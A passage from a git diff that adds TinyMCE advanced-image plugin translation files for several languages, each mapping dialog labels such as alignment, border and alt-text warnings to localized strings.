\u753b\u50cf\u306e\u8aac\u660e\u304c\u306a\u3044\u3068\u76ee\u306e\u4e0d\u81ea\u7531\u306a\u65b9\u3001\u30c6\u30ad\u30b9\u30c8\u8868\u793a\u3060\u3051\u306e\u30d6\u30e9\u30a6\u30b6\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u65b9\u3001\u753b\u50cf\u306e\u8868\u793a\u3092\u6b62\u3081\u3066\u308b\u65b9\u304c\u30a2\u30af\u30bb\u30b9\u3067\u304d\u306a\u3044\u304b\u3082\u3057\u308c\u307e\u305b\u3093\u3002","example_img":"\u753b\u50cf\u306e\u30d7\u30ec\u30d3\u30e5\u30fc\u306e\u69d8\u5b50",misc:"\u305d\u306e\u4ed6",mouseout:"\u30de\u30a6\u30b9\u30ab\u30fc\u30bd\u30eb\u304c\u5916\u308c\u308b\u6642",mouseover:"\u30de\u30a6\u30b9\u30ab\u30fc\u30bd\u30eb\u304c\u304b\u304b\u308b\u6642","alt_image":"\u5225\u306e\u753b\u50cf","swap_image":"\u753b\u50cf\u306e\u5165\u308c\u66ff\u3048",map:"\u30a4\u30e1\u30fc\u30b8\u30de\u30c3\u30d7",id:"ID",rtl:"\u53f3\u304b\u3089\u5de6",ltr:"\u5de6\u304b\u3089\u53f3",classes:"\u30af\u30e9\u30b9",style:"\u30b9\u30bf\u30a4\u30eb","long_desc":"\u8a73\u7d30\u306a\u8aac\u660e\u306e\u30ea\u30f3\u30af",langcode:"\u8a00\u8a9e\u30b3\u30fc\u30c9",langdir:"\u6587\u7ae0\u306e\u65b9\u5411","constrain_proportions":"\u7e26\u6a2a\u6bd4\u306e\u7dad\u6301",preview:"\u30d7\u30ec\u30d3\u30e5\u30fc",title:"\u30bf\u30a4\u30c8\u30eb",general:"\u4e00\u822c","tab_advanced":"\u9ad8\u5ea6\u306a\u8a2d\u5b9a","tab_appearance":"\u8868\u793a","tab_general":"\u4e00\u822c",width:"\u5e45",height:"\u9ad8\u3055"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/ka_dlg.js b/js/tiny_mce/plugins/advimage/langs/ka_dlg.js new file mode 100755 index 0000000..6ab7d35 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/ka_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ka.advimage_dlg',{"image_list":"\u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10ee\u10e3\u10da\u10d4\u10d1\u10d4\u10d1\u10d8\u10e1 \u10e1\u10d8\u10d0","align_right":"\u10db\u10d0\u10e0\u10ef\u10d5\u10d4\u10dc\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","align_left":"\u10db\u10d0\u10e0\u10ea\u10ee\u10d4\u10dc\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","align_textbottom":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10e5\u10d5\u10d4\u10d3\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","align_texttop":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10d6\u10d4\u10d3\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","align_bottom":"\u10e5\u10d5\u10d4\u10d3\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","align_middle":"\u10ea\u10d4\u10dc\u10e2\u10e0\u10d6\u10d4","align_top":"\u10d6\u10d4\u10d3\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","align_baseline":"\u10e1\u10d0\u10d1\u10d0\u10d6\u10d8\u10e1\u10dd \u10ee\u10d0\u10d6\u10d6\u10d4",align:"\u10db\u10dd\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0",hspace:"\u10f0\u10dd\u10e0\u10d8\u10d6\u10dd\u10dc\u10e2. \u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0",vspace:"\u10d5\u10d4\u10e0\u10e2. \u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0",dimensions:"\u10d6\u10dd\u10db\u10d4\u10d1\u10d8",border:"\u10e9\u10d0\u10e0\u10e9\u10dd",list:"\u10e1\u10d8\u10d0",alt:"\u10d0\u10e6\u10ec\u10d4\u10e0\u10d0",src:"\u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8","dialog_title":"\u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10ee\u10e3\u10da\u10d4\u10d1\u10d8\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","missing_alt":"\u10d0\u10e0 \u10d2\u10e1\u10e3\u10e0\u10d7 \u10d0\u10e6\u10ec\u10d4\u10e0\u10d8\u10e1 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0? \u10d0\u10e6\u10ec\u10d4\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10e3\u10e0\u10d0\u10d7\u10d8 \u10e8\u10d4\u10d8\u10eb\u10da\u10d4\u10d1\u10d0 \u10d6\u10dd\u10d2\u10d8 \u10db\u10dc\u10d0\u10ee\u10d5\u10d4\u10da\u10d8\u10e1\u10d7\u10d5\u10d8\u10e1 \u10d8\u10e7\u10dd\u10e1 \u10db\u10d8\u10e3\u10ec\u10d5\u10d3\u10dd\u10db\u10d4\u10da\u10d8.","example_img":"\u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10ee\u10e3\u10da\u10d4\u10d1\u10d8\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8",misc:"\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d8\u10d7\u10d8 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8",mouseout:"\u10e1\u10d8\u10db\u10e8\u10d5\u10d8\u10d3\u10d4\u10e8\u10d8",mouseover:"\u10d9\u10e3\u10e0\u10e1\u10dd\u10e0\u10d8\u10e1 \u10db\u10d8\u10e7\u10d5\u10d0\u10dc\u10d8\u10e1\u10d0\u10e1","alt_image":"\u10d0\u10da\u10e2\u10d4\u10e0\u10dc\u10d0\u10e2\u10d8\u10e3\u10da\u10d8 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10ee\u10e3\u10da\u10d4\u10d1\u10d0","swap_image":"\u10d3\u10d8\u10dc\u10d0\u10db\u10d8\u10e3\u10e0\u10d8 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10ee\u10e3\u10da\u10d4\u10d1\u10d0",map:"\u10d1\u10db\u10e3\u10da\u10d4\u10d1\u10d8\u10e1 \u10e0\u10e3\u10e5\u10d0",id:"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8\u10e1 \u10e1\u10d0\u10ee\u10d4\u10da\u10ec\u10dd\u10d3\u10d4\u10d1\u10d0",rtl:"\u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d3\u10d0\u10dc \u10db\u10d0\u10e0\u10ea\u10e1\u10dc\u10d8\u10d5",ltr:"\u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d3\u10d0\u10dc \u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d5",classes:"\u10d9\u10da\u10d0\u10e1\u10d4\u10d1\u10d8",style:"\u10e1\u10e2\u10d8\u10da\u10d8","long_desc":"\u10d1\u10db\u10e3\u10da\u10d8 \u10e1\u10e0\u10e3\u10da \u10d0\u10e6\u10ec\u10d4\u10e0\u10d0\u10d6\u10d4",langcode:"\u10d4\u10dc\u10d8\u10e1 \u10d9\u10dd\u10d3\u10d8",langdir:"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10db\u10d8\u10db\u10d0\u10e0\u10d7\u10e3\u10da\u10d4\u10d1\u10d0","constrain_proportions":"\u10de\u10e0\u10dd\u10de\u10dd\u10e0\u10ea\u10d8\u10d4\u10d1\u10d8\u10e1 \u10e8\u10d4\u10dc\u10d0\u10ee\u10d5\u10d0",preview:"\u10ec\u10d8\u10dc\u10d0\u10e1\u10ec\u10d0\u10e0 \u10d3\u10d0\u10d7\u10d5\u10d0\u10da\u10d8\u10d4\u10e0\u10d4\u10d1\u10d0",title:"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8",general:"\u10e1\u10d0\u10d4\u10e0\u10d7\u10dd \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","tab_advanced":"\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d8\u10d7","tab_appearance":"\u10db\u10d3\u10d2\u10dd\u10db\u10d0\u10e0\u10d4\u10dd\u10d1\u10d0","tab_general":"\u10e1\u10d0\u10d4\u10e0\u10d7\u10dd",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/ko_dlg.js b/js/tiny_mce/plugins/advimage/langs/ko_dlg.js new file mode 100755 index 0000000..67649a8 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/ko_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ko.advimage_dlg',{"image_list":"\uc774\ubbf8\uc9c0 \ubaa9\ub85d","align_right":"\uc6b0","align_left":"\uc88c","align_textbottom":"\ubb38\uc790\uc5f4 \uc544\ub798\ub85c","align_texttop":"\ubb38\uc790\uc5f4 \uc704\ub85c","align_bottom":"\ud558","align_middle":"\uc911\uc559","align_top":"\uc0c1","align_baseline":"\uae30\uc900\uc120",align:"\uc815\ub82c",hspace:"\uc88c\uc6b0 \uc5ec\ubc31",vspace:"\uc0c1\ud558 \uc5ec\ubc31",dimensions:"\ud06c\uae30",border:"\ud14c\ub450\ub9ac\uc120",list:"\uc774\ubbf8\uc9c0 \ubaa9\ub85d",alt:"\uc774\ubbf8\uc9c0 \uc124\uba85",src:"\uc774\ubbf8\uc9c0 URL","dialog_title":"\uc774\ubbf8\uc9c0\uc758 \uc0bd\uc785/\ud3b8\uc9d1","missing_alt":"\uc774\ubbf8\uc9c0 \uc124\uba85\uc774 \uc5c6\uc2b5\ub2c8\ub2e4\ub9cc \uc88b\uc2b5\ub2c8\uae4c? \uc774\ubbf8\uc9c0 \uc124\uba85\uc774 \uc5c6\ub294 \uacbd\uc6b0, \ub9f9\uc778\uc774\ub098 \ud14d\uc2a4\ud2b8 \ube0c\ub77c\uc6b0\uc800\ub97c \uc774\uc6a9\ud558\uace0 \uc788\ub294 \ubd84, \ub610 \uc774\ubbf8\uc9c0 \ud45c\uc2dc\ub97c OFF(\uc73c)\ub85c \ud558\uace0 \uc788\ub294 \uc720\uc800\uc758 \uc811\uadfc\uc131\uc774 \uc800\ud558\ub429\ub2c8\ub2e4.","example_img":"\ubbf8\ub9ac\ubcf4\uae30 \uc774\ubbf8\uc9c0",misc:"\uadf8 \uc678",mouseout:"\ub9c8\uc6b0\uc2a4 \uc544\uc6c3 \uc774\ubbf8\uc9c0",mouseover:"\ub9c8\uc6b0\uc2a4 \uc624\ubc84 \uc774\ubbf8\uc9c0","alt_image":"\ub300\uccb4 \uc774\ubbf8\uc9c0","swap_image":"\ub864 \uc624\ubc84 \ud6a8\uacfc",map:"\uc774\ubbf8\uc9c0 \ub9f5",id:"Id",rtl:"\uc624\ub978\ucabd\uc5d0\uc11c \uc67c\ucabd",ltr:"\uc67c\ucabd\uc5d0\uc11c \uc624\ub978\ucabd",classes:"\ud074\ub798\uc2a4",style:"\uc2a4\ud0c0\uc77c","long_desc":"\uc124\uba85 \ub9c1\ud06c",langcode:"\uc5b8\uc5b4 \ucf54\ub4dc",langdir:"\ubb38\uc790 \ubc29\ud5a5","constrain_proportions":"\uc885\ud6a1\ube44 \ubcf4\uc874",preview:"\ubbf8\ub9ac\ubcf4\uae30",title:"\uc81c\ubaa9",general:"\uc77c\ubc18","tab_advanced":"\uace0\uae09","tab_appearance":"\ud45c\uc2dc","tab_general":"\uc77c\ubc18",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/lt_dlg.js b/js/tiny_mce/plugins/advimage/langs/lt_dlg.js new file mode 100755 index 0000000..8f85e7a --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/lt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.advimage_dlg',{"image_list":"Paveiksl\u0117li\u0173 s\u0105ra\u0161as","align_right":"De\u0161in\u0117je","align_left":"Kair\u0117je","align_textbottom":"Teksto apa\u010dioje","align_texttop":"Teksto vir\u0161uje","align_bottom":"Apa\u010dioje","align_middle":"Viduryje","align_top":"Vir\u0161uje","align_baseline":"Pradiniame ta\u0161ke",align:"Lygiavimas",hspace:"Horizontalus tarpas",vspace:"Vertikalus tarpas",dimensions:"I\u0161matavimai",border:"R\u0117melis",list:"Paveiksl\u0117li\u0173 s\u0105ra\u0161as",alt:"Paveiksl\u0117lio apra\u0161as",src:"Paveiksl\u0117lio URL adresas","dialog_title":"\u012eterpti/redaguoti paveiksl\u0117l\u012f","missing_alt":"Ar norite t\u0119sti ne\u012fved\u0119 paveiksl\u0117lio apra\u0161o? Be apra\u0161o jo neatpa\u017eins \u017emon\u0117s su negalia, tie kurie naudoja tekstines nar\u0161ykles, arba tie, kurie nar\u0161o internet\u0105 i\u0161jung\u0119 paveiksl\u0117li\u0173 rodym\u0105.","example_img":"I\u0161vaizdos per\u017ei\u016bros paveiksl\u0117lis",misc:"\u012evair\u016bs",mouseout:"nuvedant pel\u0119",mouseover:"u\u017evedant pele","alt_image":"Alternatyvus paveiksl\u0117lis","swap_image":"Sukeisti paveiksl\u0117l\u012f",map:"Paveiksl\u0117lio planas",id:"Id",rtl:"I\u0161 de\u0161in\u0117s \u012f kair\u0119",ltr:"I\u0161 kair\u0117s \u012f de\u0161in\u0119",classes:"Klas\u0117s",style:"Stilius","long_desc":"Ilgo apra\u0161o nuoroda",langcode:"Kalbos kodas",langdir:"Kalbos teksto kryptis","constrain_proportions":"Priverstin\u0117s proporcijos",preview:"Per\u017ei\u016bra",title:"Pavadinimas",general:"Bendra","tab_advanced":"I\u0161pl\u0117sta","tab_appearance":"I\u0161vaizda","tab_general":"Bendra",width:"Plotis",height:"Auk\u0161tis"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/nl_dlg.js b/js/tiny_mce/plugins/advimage/langs/nl_dlg.js new file mode 100755 index 0000000..35538d3 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/nl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.advimage_dlg',{"image_list":"Lijst","align_right":"Rechts","align_left":"Links","align_textbottom":"Onderkant tekst","align_texttop":"Bovenkant tekst","align_bottom":"Onder","align_middle":"Midden","align_top":"Boven","align_baseline":"Basislijn",align:"Uitlijning",hspace:"Horizontale ruimte",vspace:"Verticale ruimte",dimensions:"Afmetingen",border:"Rand",list:"Lijst",alt:"Beschrijving",src:"Bestand/URL","dialog_title":"Afbeelding invoegen/bewerken","missing_alt":"Wilt u de afbeelding zonder beschrijving invoegen? De afbeelding wordt dan mogelijk niet opgemerkt door mensen met een visuele handicap, of welke zonder afbeeldingen browsen.","example_img":"Voorbeeldweergave",misc:"Diversen",mouseout:"Bij muis uit",mouseover:"Bij muis over","alt_image":"Alternatieve afbeeldingen","swap_image":"Afbeelding wisselen",map:"Afbeeldingsplattegrond",id:"Id",rtl:"Van rechts naar links",ltr:"Van links naar rechts",classes:"Klasses",style:"Stijl","long_desc":"Uitgebreide beschrijving",langcode:"Taalcode",langdir:"Taalrichting","constrain_proportions":"Verhouding behouden",preview:"Voorbeeld",title:"Titel",general:"Algemeen","tab_advanced":"Geavanceerd","tab_appearance":"Weergave","tab_general":"Algemeen",width:"Breedte",height:"Hoogte"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/no_dlg.js b/js/tiny_mce/plugins/advimage/langs/no_dlg.js new file mode 100755 index 0000000..b8227b4 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/no_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.advimage_dlg',{"image_list":"Liste over bilder","align_right":"H\u00f8yre","align_left":"Venstre","align_textbottom":"Tekst bunn","align_texttop":"Tekst topp","align_bottom":"Bunn","align_middle":"Midtstilt","align_top":"Topp","align_baseline":"Basislinje",align:"Justering",hspace:"Horisontal avstand",vspace:"Vertikal avstand",dimensions:"Dimensjoner",border:"Ramme",list:"Bildeliste",alt:"Bildebeskrivelse",src:"Bilde URL","dialog_title":"Sett inn/editer bilde","missing_alt":"Er du sikker du vil fortsette uten \u00e5 sette inn bildebeskrivelse? Uten beskrivelse vil ikke bildet gi mening for enkelte funksjonshemmde eller personer som bruker nettleser med avsl\u00e5tt bildevising.","example_img":"Utseende forh\u00e5ndsvisning",misc:"Diverse",mouseout:"for musepeker utenfor",mouseover:"for musepeker over","alt_image":"Alternativt bilde","swap_image":"Bytt bilde",map:"Bildekart",id:"Id",rtl:"H\u00f8yre mot venstre",ltr:"Venstre mot h\u00f8yre",classes:"Klasse",style:"Stil","long_desc":"Lang beskrivelse",langcode:"Spr\u00e5k kode",langdir:"Skriftretning","constrain_proportions":"Behold proporsjoner",preview:"Forh\u00e5ndsvisning",title:"Tittel",general:"Generelt","tab_advanced":"Avansert","tab_appearance":"Utseende","tab_general":"Generelt",width:"Bredde",height:"H\u00f8yde"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/pl_dlg.js b/js/tiny_mce/plugins/advimage/langs/pl_dlg.js new file mode 100755 index 0000000..c32f718 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/pl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.advimage_dlg',{"image_list":"Lista obrazk\u00f3w","align_right":"Prawy","align_left":"Lewy","align_textbottom":"Tekst dolny","align_texttop":"Tekst g\u00f3rny","align_bottom":"Dolny","align_middle":"\u015arodkowy","align_top":"G\u00f3rny","align_baseline":"G\u0142\u00f3wna linia",align:"Wyr\u00f3wnanie",hspace:"Odst\u0119p poziomy",vspace:"Odst\u0119p pionowy",dimensions:"Rozmiary",border:"Obramowanie",list:"Lista obrazk\u00f3w",alt:"Opis obrazka",src:"URL obrazka","dialog_title":"Wklej/edytuj obraz","missing_alt":"Czy jeste\u015b pewien, \u017ce chcesz kontynuowa\u0107 bez opisu obrazka? Obrazek bez opisu mo\u017ce nie by\u0107 dost\u0119pny dla u\u017cytkownik\u00f3w u\u017cywaj\u0105cych tekstowe przegl\u0105darki lub przegl\u0105daj\u0105cych stron\u0119 z wy\u0142\u0105czonymi obrazkami.","example_img":"Podgl\u0105d wygl\u0105du obrazka",misc:"R\u00f3\u017cne",mouseout:"dla mouseout",mouseover:"dla mouseover","alt_image":"alternatywny obrazek","swap_image":"Zamiana obrazka",map:"Mapa obrazu",id:"Id",rtl:"Z prawej do lewej",ltr:"Z lewej do prawej",classes:"Klasy",style:"Styl","long_desc":"D\u0142ugi opis linku",langcode:"Kod j\u0119zyka",langdir:"Kierunek j\u0119zyka","constrain_proportions":"Zachowaj proporcje",preview:"Podgl\u0105d",title:"Tytu\u0142",general:"Og\u00f3lne","tab_advanced":"Zaawansowane","tab_appearance":"Wygl\u0105d","tab_general":"Og\u00f3lne",width:"Szeroko\u015b\u0107",height:"Wysoko\u015b\u0107"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/pt_dlg.js b/js/tiny_mce/plugins/advimage/langs/pt_dlg.js new file mode 100755 index 0000000..513319f --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/pt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.advimage_dlg',{"image_list":"Lista de imagens","align_right":"Direita","align_left":"Esquerda","align_textbottom":"Base do texto","align_texttop":"Topo do texto","align_bottom":"Abaixo","align_middle":"Meio","align_top":"Topo","align_baseline":"Sobre a linha de texto",align:"Alinhamento",hspace:"Espa\u00e7o horizontal",vspace:"Espa\u00e7o vertical",dimensions:"Dimens\u00f5es",border:"Limite",list:"Lista de imagens",alt:"Descri\u00e7\u00e3o da imagem",src:"Endere\u00e7o da imagem","dialog_title":"Inserir/editar imagem","missing_alt":"Tem certeza que deseja continuar sem acrescentar uma descri\u00e7\u00e3o \u00e0 imagem? (Isto pode gerar problemas de acessibilidade em alguns navegadores)","example_img":"Pr\u00e9-Visualiza\u00e7\u00e3o",misc:"Misto",mouseout:"mouseout",mouseover:"mouseover","alt_image":"Imagem alternativa","swap_image":"Trocar imagem",map:"Mapa de imagem",id:"Id",rtl:"Da direita para a esquerda",ltr:"Da esquerda para a direita",classes:"Classes",style:"Estilo","long_desc":"Descri\u00e7\u00e3o extensa",langcode:"C\u00f3digo do idioma",langdir:"Dire\u00e7\u00e3o do texto","constrain_proportions":"Manter propor\u00e7\u00f5es",preview:"Pr\u00e9-Visualiza\u00e7\u00e3o",title:"T\u00edtulo",general:"Geral","tab_advanced":"Avan\u00e7ado","tab_appearance":"Apar\u00eancia","tab_general":"Geral",width:"Largura",height:"Altura"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/ro_dlg.js b/js/tiny_mce/plugins/advimage/langs/ro_dlg.js new file mode 100755 index 0000000..d8d4ef9 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/ro_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.advimage_dlg',{"image_list":"List\u0103 de imagini","align_right":"Dreapta","align_left":"St\u00e2nga","align_textbottom":"Textul jos","align_texttop":"Textul sus","align_bottom":"Jos","align_middle":"La mijloc","align_top":"Sus","align_baseline":"Baseline",align:"Aliniere",hspace:"Spa\u021biu orizontal",vspace:"Spa\u021biu vertical",dimensions:"Dimensiuni",border:"Bordur\u0103",list:"List\u0103 imagini",alt:"Descriere imagine",src:"URL imagine","dialog_title":"Inserare/editare imagine","missing_alt":"Sigur vrei s\u0103 continui f\u0103r\u0103 s\u0103 introduci o descriere a imaginii? F\u0103r\u0103 aceasta, imaginea ar putea fi inaccesibil\u0103 anumitor utilizatori cu dizabilit\u0103\u021bi sau acelora care folosesc un navigator text sau cu imaginile dezactivate.","example_img":"Imagine mic\u0103",misc:"Diverse",mouseout:"Pentru maus \u00een afar\u0103",mouseover:"Pentru maus deasupra","alt_image":"Imagine alternativ\u0103","swap_image":"Schimb\u0103 imaginea",map:"Hart\u0103 imagine",id:"Id",rtl:"De la dreapta la st\u00e2nga",ltr:"De la st\u00e2nga la dreapta",classes:"Clase",style:"Stil","long_desc":"Descriere leg\u0103tur\u0103",langcode:"Cod limb\u0103",langdir:"Direc\u021bie limb\u0103","constrain_proportions":"Men\u021bine propor\u021biile",preview:"Previzualizare",title:"Titlu",general:"General","tab_advanced":"Avansat","tab_appearance":"Afi\u0219are","tab_general":"General",width:"L\u0103\u021bime",height:"\u00cen\u0103l\u021bime"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/ru_dlg.js b/js/tiny_mce/plugins/advimage/langs/ru_dlg.js new file mode 100755 index 0000000..3b9e94d --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/ru_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ru.advimage_dlg',{"image_list":"\u0421\u043f\u0438\u0441\u043e\u043a \u043a\u0430\u0440\u0442\u0438\u043d\u043e\u043a","align_right":"\u041f\u043e \u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","align_left":"\u041f\u043e \u043b\u0435\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","align_textbottom":"\u041f\u043e \u043d\u0438\u0436\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e \u0442\u0435\u043a\u0441\u0442\u0430","align_texttop":"\u041f\u043e \u0432\u0435\u0440\u0445\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e \u0442\u0435\u043a\u0441\u0442\u0430","align_bottom":"\u041f\u043e \u043d\u0438\u0436\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e","align_middle":"\u041f\u043e \u0446\u0435\u043d\u0442\u0440\u0443","align_top":"\u041f\u043e \u0432\u0435\u0440\u0445\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e","align_baseline":"\u041f\u043e \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u043b\u0438\u043d\u0438\u0438",align:"\u0412\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435",hspace:"\u0413\u043e\u0440\u0438\u0437. \u043e\u0442\u0441\u0442\u0443\u043f",vspace:"\u0412\u0435\u0440\u0442. \u043e\u0442\u0441\u0442\u0443\u043f",dimensions:"\u0420\u0430\u0437\u043c\u0435\u0440",border:"\u0413\u0440\u0430\u043d\u0438\u0446\u0430",list:"\u0421\u043f\u0438\u0441\u043e\u043a",alt:"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435",src:"\u0410\u0434\u0440\u0435\u0441","dialog_title":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f","missing_alt":"\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c \u0431\u0435\u0437 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f? \u0411\u0435\u0437 \u044d\u0442\u043e\u0433\u043e \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0431\u0443\u0434\u0435\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c.","example_img":"\u041f\u0440\u0438\u043c\u0435\u0440 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f",misc:"\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b",mouseout:"\u0412 \u043f\u043e\u043a\u043e\u0435",mouseover:"\u041f\u0440\u0438 \u043d\u0430\u0432\u0435\u0434\u0435\u043d\u0438\u0438","alt_image":"\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u043e\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435","swap_image":"\u0414\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435",map:"\u041a\u0430\u0440\u0442\u0430 \u0441\u0441\u044b\u043b\u043e\u043a",id:"\u0418\u043c\u044f \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430",rtl:"\u0421\u043f\u0440\u0430\u0432\u0430 \u043d\u0430\u043b\u0435\u0432\u043e",ltr:"\u0421\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e",classes:"\u041a\u043b\u0430\u0441\u0441\u044b",style:"\u0421\u0442\u0438\u043b\u044c","long_desc":"\u0421\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043f\u043e\u043b\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435",langcode:"\u041a\u043e\u0434 \u044f\u0437\u044b\u043a\u0430",langdir:"\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0442\u0435\u043a\u0441\u0442\u0430","constrain_proportions":"\u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u043f\u043e\u0440\u0446\u0438\u0438",preview:"\u041f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440",title:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",general:"\u041e\u0431\u0449\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b","tab_advanced":"\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e","tab_appearance":"\u041f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435","tab_general":"\u041e\u0431\u0449\u0435\u0435",width:"\u0428\u0438\u0440\u0438\u043d\u0430",height:"\u0412\u044b\u0441\u043e\u0442\u0430"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/sk_dlg.js b/js/tiny_mce/plugins/advimage/langs/sk_dlg.js new file mode 100755 index 0000000..2be48c3 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/sk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sk.advimage_dlg',{"image_list":"Zoznam obr\u00e1zkov","align_right":"Vpravo","align_left":"V\u013eavo","align_textbottom":"So spodkom riadku","align_texttop":"S vrcholom riadku","align_bottom":"Dole","align_middle":"Na stred riadku","align_top":"Hore","align_baseline":"Na z\u00e1klad\u0148u",align:"Zarovnanie",hspace:"Horizont\u00e1lne odsadenie",vspace:"Vertik\u00e1lne odsadenie",dimensions:"Rozmery",border:"Or\u00e1movanie",list:"Zoznam obr\u00e1zkov",alt:"Popis obr\u00e1zku",src:"URL obr\u00e1zka","dialog_title":"Vlo\u017ei\u0165/upravi\u0165 obr\u00e1zok","missing_alt":"Naozaj chcete 